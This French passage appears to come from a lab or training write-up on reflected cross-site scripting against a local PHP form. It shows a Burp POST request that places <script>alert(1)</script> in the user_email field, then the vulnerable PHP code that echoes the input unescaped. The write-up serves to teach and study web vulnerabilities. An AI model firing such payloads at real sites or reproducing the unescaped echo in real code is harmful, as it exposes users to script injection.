Pour injecter ma payload il me faudra contourner cette protection, ici en passant par Burp :
POST /xss1/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss1/
user_email=<script>alert(1)</script>&submit=Envoyer
L'injection fonctionne et la boite de dialogue s'affiche :
Analyse du code source
L'analyse est ici plutôt simple, car le code PHP ne possède aucune protection et ne fait qu'afficher le contenu de la variable $_POST['user_email'] via la directive echo :
<?php
if (isset ($_POST['submit']) && isset ($_POST['user_email'])) {
$email = $_POST['user_email'];
}
?>
<?php if (isset ($email) && !empty ($email)): ?>
<div class="row">
<p style="color:red;" class="well"><strong></strong><?php echo $email; ?> is not registered.</p>
</div>
<?php endif; ?>